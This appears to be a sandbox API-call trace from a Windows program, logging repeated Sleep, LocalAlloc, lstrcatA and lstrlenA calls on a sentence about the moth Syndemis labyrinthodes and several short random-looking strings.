[0048.636] Sleep (dwMilliseconds=0x3)
[0048.716] Sleep (dwMilliseconds=0x7)
[0048.740] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x690478
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="9TAMPY0") returned 7
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="9TAMPY0") returned 7
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.740] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="9TAMPY0") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="9TAMPY0") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="9TAMPY0") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="9TAMPY0") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="9TAMPY0") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x686a90
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="FYVN25W") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="FYVN25W") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.741] lstrlenA (lpString="FYVN25W") returned 7
[0048.741] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="FYVN25W") returned 7
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="FYVN25W") returned 7
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="FYVN25W") returned 7
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="FYVN25W") returned 7
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x693178
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="C351IWV1") returned 8
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="C351IWV1") returned 8
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="C351IWV1") returned 8
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.742] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="C351IWV1") returned 8
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="C351IWV1") returned 8
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="C351IWV1") returned 8
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="C351IWV1") returned 8
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="C351IWV1") returned 8
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] LocalAlloc (uFlags=0x40, uBytes=0xa) returned 0x6932b0
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.743] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="3UQWTKAEA") returned 9
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] LocalAlloc (uFlags=0x40, uBytes=0xb) returned 0x693190
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.744] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="OPGD56L4XG") returned 10
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] LocalAlloc (uFlags=0x40, uBytes=0x9) returned 0x6930d0
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.745] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="FKPO7726") returned 8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrcatA (in: lpString1="", lpString2="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea." | out: lpString1="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea."
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] LocalAlloc (uFlags=0x40, uBytes=0x13) returned 0x6c6ff8
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.746] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="5T8SH9HZP63FQEUV9N") returned 18
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
[0048.747] lstrlenA (lpString="Syndemis labyrinthodes is a species of moth of the family Tortricidae. It is found on New Guinea.") returned 97
